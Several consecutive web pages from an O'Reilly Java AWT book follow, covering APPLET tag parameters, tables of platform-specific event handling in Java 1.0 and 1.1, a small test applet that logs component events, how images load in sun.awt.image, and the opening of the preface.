
Closes the <APPLET> tag. Anything prior to </APPLET> is considered alternate-html if it is not a <PARAM> tag. The alternate-html is displayed when Java is disabled, when Java cannot be run in the current browser, or when the browser does not understand the <APPLET> tag.

The following parameters may appear inside the <APPLET> tag.

ALIGN

alignment, optional. Specifies the applet's alignment on the Web page. Valid values are: left, right, top, texttop, middle, absmiddle, baseline, bottom, absbottom. Default: left. The alignment values have the same meanings as they do in the <IMG> tag.

ALT

alternate-text, optional. The alternate text is displayed when the browser understands the <APPLET> tag but is incapable of executing applets, either because Java is disabled or not supported on the platform. Support of this tag is browser dependent; most browsers just display the alternate-html since that is not restricted to text.

ARCHIVE

filename.zip/filename.jar, optional. Points to a comma-separated list of uncompressed ZIP or JAR files that contain one or more Java classes. Each file is downloaded once to the user's disk and searched for the class named in the CODE parameter, and any helper classes required to execute that class. JAR files may be signed to grant additional access. ( JAR files are Java archives, a new archive format defined in Java 1.1. JAR files support features like digital signatures and compression. While they are not yet in wide use, they should become an important way of distributing sets of Java classes.)

CODE

applet-filename. This parameter or the OBJECT parameter is required. Name of applet .class file. The .class extension is not required in the <APPLET> tag but is required in the class's actual filename. The filename has to be a quoted string only if it includes whitespace.

CODEBASE

applet-directory-url, optional. Relative or absolute URL specifying the directory in which to locate the .class file or ZIP archive for the applet. Default: html directory.

HEIGHT

applet-pixel-height, required. Initial height of applet in pixels. Many browsers do not allow applets to change their height.

HSPACE

horizontal-pixel-margin, optional. Horizontal margin left and right of the applet, in pixels.

MAYSCRIPT

Required for applets that wish to use LiveConnect and the netscape.javascript classes to interact with JavaScript. Set to true to communicate with JavaScript. Set to false, or omit this parameter to disable communication with JavaScript. Both Java and JavaScript must be enabled in the browser.

NAME

applet-name, optional. Allows simultaneously running applets to communicate by this name. Default: the applet's class name.

OBJECT

serialized-applet. This parameter or the CODE parameter is required. Name of applet saved to a file as a serialized object. When loaded, init() is not called again but start() is. Parameters for running the applet are taken from this <APPLET> tag, not the original.

VSPACE

vertical-pixel-margin, optional. Vertical margin above and below the applet, in pixels.

WIDTH

applet-pixel-width, required. Initial width of applet in pixels. Many browsers do not allow applets to change their width.

The <PARAM> tag may appear between the <APPLET> and </APPLET> tags:

<PARAM>

The <PARAM> tag allows the HTML author to provide run-time parameters to the applet as a series of NAME and VALUE pairs. The NAME is case insensitive, a String. See Chapter 14, And Then There Were Applets for a discussion of how to read parameters in an applet. Quotes are required around the parameter name or its value if there are any embedded spaces. There can be an infinite number of <PARAM> tags, and they all must appear between <APPLET> and </APPLET>

The special parameter name CABBASE is used for sending CAB files with Internet Explorer 3.0. CAB files are similar to ZIP files but are compressed into a CABinet file and can store audio and image files, in addition to classes. (For a full explanation see: http://207.68.137.43/workshop/java/overview.htm.) When .class files are placed within a CAB file, they are decompressed at the local end. Here's an example:

<APPLET CODE="oreilly.class" WIDTH=400 HEIGHT=400>
<PARAM NAME="cabbase" VALUE="ora.cab>
</APPLET>

The special parameter name ARCHIVES is reserved for sending JAR files. JAR files can also be specified using the ARCHIVES parameter to the <APPLET> tag.[1] Here's an example:

[1] For a full explanation see http://www.javasoft.com/products/JDK/1.1/docs/guide/jar/index.html.

<APPLET CODE="oreilly.class" WIDTH=400 HEIGHT=400>
<PARAM NAME="archives" VALUE="ora.jar>
</APPLET>

Previous | Home | Next
Resource Bundles | Book Index | Platform-Specific Event Handling
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix C] Platform-Specific Event Handling

Previous Appendix C Next

C. Platform-Specific Event Handling

Contents:
The Results
Test Program

My life with Java began in September of 1995. I started on a Sun Sparc20 and have since used Java on Windows 95, Windows NT (3.51/4.0), a PowerMac, and an early version of a Java terminal. At the time I started using Java, it was in its alpha 3 release. Even before the beta release, the Internet crowd was hailing Java as the programming language for the next millennium, and people were lining up to take Sun's Java training classes.

Although Java has many important features, probably the most important is platform independence: you can compile a program once and run it anywhere. At least, that was the goal; and Java came impressively close to meeting that goal. However, there are some problems, particularly in the area of event handling. Java programs just do not act the same, from platform to platform, environment to environment. Even if you stay within Sun's Java Developer's Kit, you cannot take a program created on one platform, move it to another, and be guaranteed that it will react the same way to the user's interactions. To make matters worse, Netscape, the makers of the first run-time environment for beta API applets, Netscape, decided to take matters into its own hands with Navigator version 3.0; its version of AWT behaves slightly differently than the JDK's. On top of that, Navigator itself differs from platform to platform. Version 1.1 of the JDK introduces more idiosyncrasies, even as it resolves some others.

With more Java environments available, HotJava, Internet Explorer, and Java terminals to name a few, and new official extensions to AWT coming out, the differences are expanding, instead of contracting. Hopefully, there will be a day when this appendix can go away, completely. Until that time, I've tried to document the behavior of different run-time systems, on different platforms. If the platform is not included in this appendix, the source for a test program is. If you run the program on your platform and send the results to me at jaz@ora.com, they will be included in a future printing or provided online. The test program requires user-interaction, so please follow directions carefully. Between printings, the book's Web site will maintain the latest information at http://www.ora.com/catalog/javawt/. Only the results from using the latest releases of each platform are included in Table C.1.

C.1 The Results

Table C.1 shows the events delivered to each component on the major platforms in Java 1.0. An OK in a particular entry means that the event is passed to Java from the component's peer; a dash means it is not.

Table C.1: Component Events in Java 1.0
Run-time | NN3.0 | NN3.0 | NN3.0 | SDK | JDK / Win95 / NT | JDK / Mac | JDK / Sun | IE3.0 / Win95 / NT | HJ / Win95 / NT | HJ / Sun
Button
KEY_PRESS | X | - | X | X | X | - | X | X | X | X
KEY_RELEASE | X | - | X | X | X | - | X | X | X | X
KEY_ACTION | X | - | - | X | X | - | X | X | X | X
KEY_ACTION_RELEASE | X | - | - | X | X | - | X | X | x | X
MOUSE_DOWN | X | - | - | - | - |  | - | - | - | -
MOUSE_UP | X | X | - | - | - |  | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
ACTION_EVENT | X | X | X | X | X | X | X | X | X | X
GOT_FOCUS | X | - | - | - | - | - | X | - | - | -
LOST_FOCUS | X | - | - | - | - | - | X | - | - | -
Canvas
KEY_PRESS | X | X | X | X | X | X | - | X | X | -
KEY_RELEASE | X | X | X | X | X | X | - | X | X | -
KEY_ACTION | X | X | - | X | X | X | - | X | X | -
KEY_ACTION_RELEASE | X | X | - | X | X | - | - | X | x | -
MOUSE_DOWN | X | X | X | X | X | X | X | X | X | X
MOUSE_UP | X | X | X | X | X | X | X | X | X | X
MOUSE_MOVE | X | X | X | X | X | X | X | X | X | X
MOUSE_ENTER | X | X | X | X | X | X | X | X | X | X
MOUSE_EXIT | X | X | X | X | X | X | X | X | X | X
MOUSE_DRAG | X | X | X | X | X | X | X | X | X | X
ACTION_EVENT | - | - | - | - | - | - | - | - | - | -
GOT_FOCUS | X | X | - | X | X | X | - | X | X | -
LOST_FOCUS | X | X | - | X | X | X | - | X | X | -
Checkbox
KEY_PRESS | X | - | X | X | X | - | X | X | X | -
KEY_RELEASE | X | - | X | X | X | - | X | X | X | -
KEY_ACTION | X | - | - | X | X | - | X | X | X | -
KEY_ACTION_RELEASE | X | - | - | X | X | - | X | X | x | -
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | X | X | - | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
ACTION_EVENT | X | X | X | X | X | X | X | X | X | X
GOT_FOCUS | X | - | - | - | - | - | X | - | - | -
LOST_FOCUS | X | - | - | - | - | - | X | - | - | -
Choice
KEY_PRESS | X | - | - | X | X | - | - | X | X | -
KEY_RELEASE | X | - | - | X | X | - | - | X | X | -
KEY_ACTION | X | - | - | X | X | - | - | X | X | -
KEY_ACTION_RELEASE | X | - | - | X | X | - | - | X | x | -
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | X | - | X | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | X | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | X | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | X | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
ACTION_EVENT | X | X | X | X | X | X | X | X | X | X
GOT_FOCUS | X | - | - | - | - | - | - | - | - | -
LOST_FOCUS | X | - | - | - | - | - | - | - | - | -
Label
KEY_PRESS | X | - | X | - | - | - | X | - | - | -
KEY_RELEASE | X | - | X | - | - | - | X | - | - | -
KEY_ACTION | X | - | - | - | - | - | X | - | - | -
KEY_ACTION_RELEASE | X | - | - | - | - | - | X | - | - | -
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | X | X | - | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
ACTION_EVENT | - | - | - | - | - | - | - | - | - | -
GOT_FOCUS | X | - | - | - | - | - | - | - | - | -
LOST_FOCUS | X | - | - | - | - | - | - | - | - | -
List
KEY_PRESS | X | - | - | X | X | - | X | X | X | -
KEY_RELEASE | X | - | - | X | X | - | X | X | X | -
KEY_ACTION | X | - | - | X | X | - | X | X | X | -
KEY_ACTION_RELEASE | X | - | - | X | X | - | X | X | x | -
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | X | X | - | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
LIST_SELECT | X | X | X | X | X | X | X | X | X | X
LIST_DESELECT | X | X | X | X | X | X | X | X | X | X
ACTION_EVENT | X | X | X | X | X | X | X | X | X | X
GOT_FOCUS | X | - | - | - | - | - | X | - | - | -
LOST_FOCUS | X | - | - | - | - | - | X | - | - | -
Scrollbar
KEY_PRESS | - | - | X | - | - | - | - | - | - | -
KEY_RELEASE | - | - | X | - | - | - | - | - | - | -
KEY_ACTION | - | - | - | - | - | - | - | - | - | -
KEY_ACTION_RELEASE | - | - | - | - | - | - | - | - | - | -
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | -/X | X | - | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | -/X | X | - | - | - | - | - | - | - | -
SCROLL_LINE_UP | X | X | X | X | X | X | X | X | X | X
SCROLL_LINE_DOWN | X | X | X | X | X | X | X | X | X | X
SCROLL_PAGE_UP | X | X | X | X | X | X | X | X | X | X
SCROLL_PAGE_DOWN | X | X | X | X | X | X | X | X | X | X
SCROLL_ABSOLUTE | X | X | X | X | X | X | X | X | X | X
ACTION_EVENT | - | - | - | - | - | - | - | - | - | -
GOT_FOCUS | - | - | - | - | - | - | X | - | - | -
LOST_FOCUS | - | - | - | - | - | - | X | - | - | -
TextArea
KEY_PRESS | X | X | - | X | X | X | X | X | X | X
KEY_RELEASE | X | X | - | X | X | X | X | X | X | X
KEY_ACTION | X | - | - | X | X | X | X | X | X | X
KEY_ACTION_RELEASE | X | - | - | X | X | - | X | X | X | X
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | X | X | - | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
ACTION_EVENT | - | - | - | - | - | - | - | - | - | -
GOT_FOCUS | X | X | X | - | - | X | X | - | - | X
LOST_FOCUS | X | X | X | - | - | X | X | - | - | X
TextField
KEY_PRESS | X | X | X | X | X | X | X | X | X | X
KEY_RELEASE | X | X | X | X | X | X | X | X | X | X
KEY_ACTION | X | X | - | X | X | X | X | X | X | X
KEY_ACTION_RELEASE | X | X | - | X | X | - | X | X | X | X
MOUSE_DOWN | X | - | - | - | - | - | - | - | - | -
MOUSE_UP | X | X | - | - | - | - | - | - | - | -
MOUSE_MOVE | X | X | - | - | - | X | - | - | - | -
MOUSE_ENTER | X | X | - | - | - | X | - | - | - | -
MOUSE_EXIT | X | X | - | - | - | X | - | - | - | -
MOUSE_DRAG | X | X | - | - | - | - | - | - | - | -
ACTION_EVENT | X | X | X | X | X | X | X | X | X | X
GOT_FOCUS | X | X | X | - | - | X | X | - | - | X
LOST_FOCUS | X | X | X | - | - | X | X | - | - | X

Key:

IE

Microsoft's Internet Explorer

HJ

Sun's Hot Java Prebeta 1

JDK

Java Developer's Kit 1.0.2 (appletviewer/Java)

NN

Netscape Navigator

SDK

Microsoft SDK

Sun

Solaris 2.x (UNIX/Motif)

Yes, things changed again with the 1.1 release. Table C.2 shows which Java 1.0 events are generated for each component in Java 1.1. Fortunately, there is one clear improvement: the Java 1.1 event model promises much more uniform event processing, since it's largely under your control. For example, you can attach a MouseListener to a Label and receive mouse events that would not be generated with the 1.0 event model.

Table C.2: Java 1.0 Component Events in Java 1.1
Component/Events vs. | HJ/JDK | HJ/JDK
Run-time/Platform | WinNT/95 | Sun
Button
KEY_PRESS | OK | OK
KEY_RELEASE | OK | OK
KEY_ACTION | OK | OK
KEY_ACTION_RELEASE | OK | OK
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
ACTION_EVENT | OK | OK
GOT_FOCUS | OK | OK
LOST_FOCUS | OK | OK
Canvas
KEY_PRESS | -- | --
KEY_RELEASE | -- | --
KEY_ACTION | -- | --
KEY_ACTION_RELEASE | -- | --
MOUSE_DOWN | OK | OK
MOUSE_UP | OK | OK
MOUSE_MOVE | OK | OK
MOUSE_ENTER | OK | OK
MOUSE_EXIT | OK | OK
MOUSE_DRAG | OK | OK
ACTION_EVENT | -- | --
GOT_FOCUS | -- | --
LOST_FOCUS | -- | --
Checkbox
KEY_PRESS | OK | OK
KEY_RELEASE | OK | OK
KEY_ACTION | OK | --
KEY_ACTION_RELEASE | OK | --
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
ACTION_EVENT | OK | OK
GOT_FOCUS | OK | OK
LOST_FOCUS | OK | OK
Choice
KEY_PRESS | OK | --
KEY_RELEASE | OK | --
KEY_ACTION | OK | --
KEY_ACTION_RELEASE | OK | --
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
ACTION_EVENT | OK | OK
GOT_FOCUS | OK | --
LOST_FOCUS | OK | --
Label
KEY_PRESS | -- | --
KEY_RELEASE | -- | --
KEY_ACTION | -- | --
KEY_ACTION_RELEASE | -- | --
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
ACTION_EVENT | -- | --
GOT_FOCUS | -- | --
LOST_FOCUS | -- | --
List
KEY_PRESS | OK | OK
KEY_RELEASE | OK | OK
KEY_ACTION | OK | OK
KEY_ACTION_RELEASE | OK | OK
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
LIST_SELECT | OK | OK
LIST_DESELECT | OK | OK
ACTION_EVENT | OK | OK
GOT_FOCUS | OK | OK
LOST_FOCUS | OK | OK
ScrollBar
KEY_PRESS | -- | --
KEY_RELEASE | -- | --
KEY_ACTION | -- | --
KEY_ACTION_RELEASE | -- | --
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
SCROLL_LINE_UP | OK | OK
SCROLL_LINE_DOWN | OK | OK
SCROLL_PAGE_UP | OK | OK
SCROLL_PAGE_DOWN | OK | OK
SCROLL_ABSOLUTE | OK | OK
ACTION_EVENT | -- | --
GOT_FOCUS | -- | OK
LOST_FOCUS | -- | OK
TextArea
KEY_PRESS | OK | OK
KEY_RELEASE | OK | OK
KEY_ACTION | OK | OK
KEY_ACTION_RELEASE | OK | OK
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
ACTION_EVENT | -- | --
GOT_FOCUS | OK | OK
LOST_FOCUS | OK | OK
TextField
KEY_PRESS | OK | OK
KEY_RELEASE | OK | OK
KEY_ACTION | OK | OK
KEY_ACTION_RELEASE | OK | OK
MOUSE_DOWN | -- | --
MOUSE_UP | -- | --
MOUSE_MOVE | -- | --
MOUSE_ENTER | -- | --
MOUSE_EXIT | -- | --
MOUSE_DRAG | -- | --
ACTION_EVENT | OK | OK
GOT_FOCUS | OK | OK
LOST_FOCUS | OK | OK

Key:

HJ

Sun's Hot Java Prebeta 2

JDK

Java Developer's Kit 1.1 (appletviewer/Java)

Sun

Solaris 2.x (UNIX/Motif)

Previous | Home | Next
The Applet Tag | Book Index | Test Program
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix C] C.2 Test Program

Previous Appendix C
Platform-Specific Event Handling 		Next

C.2 Test Program

The test program, compList, listed in Source Code shows the events peers pass along to the Java run-time system. You can then examine the output to see how the run-time system reacts to the different events. When you run compList, the screen looks something like the one in Figure C.1.

Figure C.1: Test program

[Graphic: Figure C-1]

How to Use the Program

Java does not have an automated record and playback feature, so the work is left for you to do. The program displays 10 components: Label, Button, Scrollbar, List, multiselection List, Choice, Checkbox, TextField, TextArea, and Canvas (the black box in Figure C.1). Basically, you must manually trigger every event for every component.

For every component on the screen (except Done), do the following:

With the mouse

Move the cursor over the object, press the mouse button and release, and drag the cursor over the object.

With the keyboard

Press and release an alphabetic key, press and release the Home and End keys, arrow keys, and function keys. Do this for every component, even for components like Button and Label that have no logical reason for using keyboard events.

For items with choices

Select and deselect a few choices; double-click and single-click selections.

For the scrollbar

Click on each arrow, drag the slider, and click in the paging area (the space between each arrow and the slider).

For the text field

Press Enter.

When finished

Press the Done button, and analyze the results. Run the program again (without exiting), and check the results again. Try to trigger any specific events that you expect but didn't appear in the output from the first pass. Generating some events requires a little work. For example, on a Macintosh, in order to get the MOUSE_UP and MOUSE_DRAG events, you must do a MOUSE_DOWN off the component; otherwise, the MOUSE_DOWN/MOUSE_UP combination turns into an ACTION_EVENT, if that component can generate it.

NOTE:

The SunTest business unit of Sun Microsystems has an early version of a record and playback Java GUI testing tool called JavaSTAR. Information about it is available at http://www.suntest.com/JavaSTAR/JavaSTAR.html. In the future, it may be possible to use JavaSTAR to help automate this process.

Source Code

The following is the source code for the test program:

import java.awt.*;
import java.util.*;
import java.applet.*;
public class compList extends Applet {
    Button done = new Button ("Done");
    Hashtable values = new Hashtable();
    public void init () {
        add (new Label ("Label"));
        add (new Button ("Button"));
        add (new Scrollbar (Scrollbar.HORIZONTAL, 50, 25, 0, 255));
        List l1 = new List (3, false);
        l1.addItem ("List 1");
        l1.addItem ("List 2");
        l1.addItem ("List 3");
        l1.addItem ("List 4");
        l1.addItem ("List 5");
        add (l1);
        List l2 = new List (3, true);
        l2.addItem ("Multi 1");
        l2.addItem ("Multi 2");
        l2.addItem ("Multi 3");
        l2.addItem ("Multi 4");
        l2.addItem ("Multi 5");
        add (l2);
        Choice c = new Choice ();
        c.addItem ("Choice 1");
        c.addItem ("Choice 2");
        c.addItem ("Choice 3");
        c.addItem ("Choice 4");
        c.addItem ("Choice 5");
        add (c);
        add (new Checkbox ("Checkbox"));
        add (new TextField ("TextField", 10));
        add (new TextArea ("TextArea", 3, 20));
        Canvas c1 = new Canvas ();
        c1.resize (50, 50);
        c1.setBackground (Color.blue);
        add (c1);
        add (done);
    }
    public boolean handleEvent (Event e) {
        if (e.target == done) {
            if (e.id == Event.ACTION_EVENT) {
                System.out.println (System.getProperty ("java.vendor"));
                System.out.println (System.getProperty ("java.version"));
                System.out.println (System.getProperty ("java.class.version"));
                System.out.println (System.getProperty ("os.name"));
                System.out.println (values);
            }
        }else {
            Vector v;
            Class c = e.target.getClass();
            v = (Vector)values.get(c);
            if (v == null)
                v = new Vector();
            Integer i = new Integer (e.id);
            if (!v.contains (i)) {
                v.addElement (i);
                values.put (c, v);
            }
        }
        return super.handleEvent (e);
    }
}

An HTML document to display the applet in a browser should look something like the following:

<APPLET code="compList.class" height=300 width=300>
</APPLET>

Examining Results

The results of the program are sent to standard output when you click on the Done button. What happens to the output depends on the platform. It may be sent to a log file (Internet Explorer), the Java Console (Netscape Navigator), or the command line (appletviewer). The following is sample output from Internet Explorer 3.0 on a Windows 95 platform.

Microsoft Corp.
1.0.2
45.3
Windows 95
{class java.awt.Canvas=[504, 503, 1004, 501, 506, 502, 505, 1005,
401, 402, 403, 404], class java.awt.Choice=[1001, 401, 402, 403,
404], class java.awt.Checkbox=[1001, 402, 401, 403, 404], class
compList=[504, 503, 501, 506, 502, 505, 1004, 1005], class java.
awt.TextField=[401, 402, 403, 404], class java.awt.List=[701,
1001, 401, 402, 403, 404, 702], class java.awt.Scrollbar=[602,
605, 604, 603, 601], class java.awt.TextArea=[401, 402, 403, 404],
class java.awt.Button=[1001, 401, 402, 403, 404]}

In addition to some identifying information about the run-time environment, the program displays a list of classes and the events they passed. The integers represent the event constants of the Event class; for example, Canvas received events with identifiers 504, 503, etc. The events are not sorted, so you can see the order in which they were sent. Unfortunately, you have to look up these constants in the source code yourself. The class listed as compList is the applet itself and shows you the events that the Applet class receives.

Previous | Home | Next
The Results | Book Index | Image Loading
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix D] Image Loading

Previous Appendix D Next

D. Image Loading

Contents:
How Images are Loaded
A Brief Tour of sun.awt.image

D.1 How Images are Loaded

You have seen how easy it is to display an image on screen and have probably guessed that there's more going on behind the scenes. The getImage() and drawImage() methods trigger a series of events that result in the image being available for display on the ImageObserver. The image is fetched asynchronously in another thread. The entire process[1] goes as follows:

[1] This summary covers Sun's implementation ( JDK). Implementations that don't derive from the JDK may behave completely differently.

  1. The call to getImage() triggers Toolkit to call createImage() for the image's InputStreamImageSource (which is a URLImageSource in this case; it would be a FileImageSource if we were loading the image from a local file).

  2. The Toolkit registers the image as being "desired." Desired just means that something will eventually want the image loaded. The system then waits until an ImageObserver registers its interest in the image.

  3. The drawImage() method (use of MediaTracker or prepareImage()) registers an ImageObserver as interested.

  4. Registering an ImageObserver kicks the image's ImageRepresentation into action; this is the start of the loading process, although image data isn't actually transferred until step 9. ImageRepresentation implements the ImageConsumer interface.

  5. The start of production registers the image source (ImageProducer URLImageSource) with the ImageFetcher and also registers the ImageRepresentation as an ImageConsumer for the image.

  6. The ImageFetcher creates a thread to get the image from its source.

  7. The ImageFetcher reads data and passes it along to the InputStreamImageSource, which is a URLImageSource.

  8. The URLImageSource determines that JPEGImageDecoder is the proper ImageDecoder for converting the input stream into an Image. (Other ImageDecoders are used for other image types, like GIF.)

  9. The ImageProducer starts reading the image data from the source; it calls the ImageConsumer (i.e., the ImageRepresentation) as it processes the image. The most important method in the ImageConsumer interface is setPixels(), which delivers pixel data to the consumer for rendering onscreen.

  10. As the ImageConsumer (i.e., the ImageRepresentation) gets additional information, it notifies the ImageObserver via imageUpdate() calls.

  11. When the image is fully acquired across the network, the thread started by the ImageFetcher stops.

As you see, there are a lot of unfamiliar moving pieces. Many of them are from the java.awt.image package and are discussed in Chapter 12, Image Processing. Others are from the sun.awt.image package; they are hidden in that you don't need to know anything about them to do image processing in Java. However, if you're curious, we'll briefly summarize these classes in the next section.

Previous | Home | Next
Test Program | Book Index | A Brief Tour of sun.awt.image
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix D] D.2 A Brief Tour of sun.awt.image

Previous Appendix D
Image Loading

D.2 A Brief Tour of sun.awt.image

The classes in sun.awt.image do the behind-the-scenes work for rendering an image from a file or across the network. This information is purely for the curious; you should never have to work with these classes yourself.

Image

The Image class in this package represents a concrete Image instance. It contains the basis for the Image class that is actually used on the run-time platform, which exists in the package for the specific environment. For instance, the sun.awt.win32 package includes the W32Image ( Java 1.0), the sun.awt.windows package includes WImage ( Java 1.1), while the sun.awt.motif package includes the X11Image, and the sun.awt.macos package includes the MacImage.

ImageRepresentation

The ImageRepresentation is the ImageConsumer that watches the creation of the image and notifies the ImageObserver when it is time to update the display. It plays an important part in the overall control of the Image production process.

Image sources

A Java image can come from three different sources: memory (through createImage()), local disk, or the network (through getImage()).

  • OffScreenImageSource implements ImageProducer for a single framed image in memory. When an Image created from an OffScreenImageSource is drawn with drawImage(), the ImageObserver parameter can be null since all the image information is already in memory and there is no need for periodic updating as more is retrieved from disk. You can get the graphics context of OffScreenImageSource images and use the context to draw on the image area. This is how double buffering works.

  • InputStreamImageSource implements ImageProducer for an image that comes from disk or across the network. When an Image created from an InputStreamImageSource is drawn with drawImage(), the ImageObserver parameter should be the component being drawn on (usually this) since the image information will be loaded periodically with the help of the ImageObserver interface). This class determines how to decode the image type and initializes the ImageDecoder to one of GifImageDecoder, JPEGImageDecoder, or XbmImageDecoder, although that can be overridden by a subclass. It can use a ContentHandler to work with unknown image types.

  • FileImageSource is a subclass of InputStreamImageSource for images that come from the filesystem. It uses the filename to determine the type of image to decode and checks the security manager to ensure that access is allowed.

  • URLImageSource is a subclass of InputStreamImageSource for images that are specified by a URL.

  • ByteArrayImageSource ( Java 1.1 only) is a subclass of InputStreamImageSource for images that are created by calling Toolkit.createImage(byte[]).

Image decoders

An ImageDecoder is utilized to convert the image source to an image object. If there is no decoder for an image type, it can be read in with the help of a ContentHandler or your own class that implements ImageProducer, like the PPMImageDecoder shown in Chapter 12, Image Processing.

  • GifImageDecoder reads in an image file in the GIF format.

  • JPEGImageDecoder reads in an image file in the JPEG format.

  • XbmImageDecoder reads in an image file in the XBM format. Although XBM support is not required by the language specification, support is provided with Netscape Navigator, Internet Explorer, HotJava, and the Java Developer's Kit from Sun.

ImageFetcher

The ImageFetcher class fetches the actual image from its source. This class creates a separate daemon thread to fetch each image. The thread is run at a higher priority than the default but not at the maximum priority.

Previous | Home
How Images are Loaded | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Preface

Contents:
New Features of AWT in Java 1.1
What This Book Covers
About the Source Code
Other Java Books and Resources
About Java
Conventions Used in This Book
Request for Comments
Acknowledgments

The Abstract Window Tookit (AWT) provides the user interface for Java programs. Unless you want to construct your own GUI or use a crude text-only interface, the AWT provides the tools you will use to communicate with the user. Although we are beginning to see some other APIs for building user interfaces, like Netscape's IFC (Internet Foundation Classes), those alternative APIs will not be in widespread use for some time, and some will be platform specific. Likewise, we are beginning to see automated tools for building GUIs in Java; Sun's JavaBeans effort promises to make such tools much more widespread. (In fact, the biggest changes in Java 1.1 prepare the way for using the various AWT components as JavaBeans.) However, even with automated tools and JavaBeans in the future, an in-depth knowledge of AWT is essential for the practicing Java programmer.

The major problem facing Java developers these days is that AWT is a moving target. Java 1.0.2 is being replaced by Java 1.1, with many significant new features. Java 1.1 was released on February 18, 1997, but it isn't clear how long it will take for 1.1 to be accepted in the market. The problem facing developers is not just learning about the new features and changes in Java 1.1, but also knowing when they can afford to use these new features in their code. In practice, this boils down to one question: when will Netscape Navigator support Java 1.1? Rumor has it that the answer is "as soon as possible"--and we all hope this rumor is correct. But given the realities of maintaining a very complex piece of software, and the fact that Netscape is currently in the beta process for Navigator 4.0, there's a possibility that "as soon as possible" and "soon" aren't the same thing. In other words, you should expect Java 1.0.2 to stick around for a while, especially since Web users won't all replace their browsers as soon as Navigator has 1.1 support.

This state of affairs raises obvious problems for my book. Nothing would have made me happier than to write a book that covered AWT 1.1 only. It would be significantly shorter, for one thing, and I wouldn't have to spend so much effort pointing out which features are present in which release. But that's not the current reality. For the time being, programmers still need to know about 1.0.2. Therefore, this book covers both releases thoroughly. There are many examples using 1.0.2; many more examples that require 1.1; and more examples showing you how to update 1.0.2 code to use 1.1's features.

Sun has done a good job of maintaining compatibility between versions: 1.0 code runs under Java 1.1, with very few exceptions. All of the 1.0 examples in this book have been tested under Java 1.1. However, Java 1.1--and particularly, AWT 1.1--offer many advantages over older releases. If nothing else, I hope this book convinces you that you should be looking forward to the day when you can forget about writing code for Java 1.0.2.

New Features of AWT in Java 1.1

Having spent all this time talking about 1.0.2 and 1.1 and the transitional state we're currently in and having alluded briefly to the advantages of Java 1.1, you deserve a brief summary of what has changed. Of course, you'll find the details in the book.

Improved event handling

Java 1.1 provides a completely new event model. Instead of propagating events to all objects that might possibly have an interest, objects in Java 1.1 register their interest in particular kinds of events and get only the events they're interested in hearing. The old event model is still supported, but the new model is much more efficient.

The new event model is also important in the context of JavaBeans. The old events were pretty much specific to AWT. The new model has been designed as a general purpose feature for communication between software components. Unfortunately, how to use events in this more general sense is beyond the scope of this book, but you should be aware that it's possible.

New components and containers

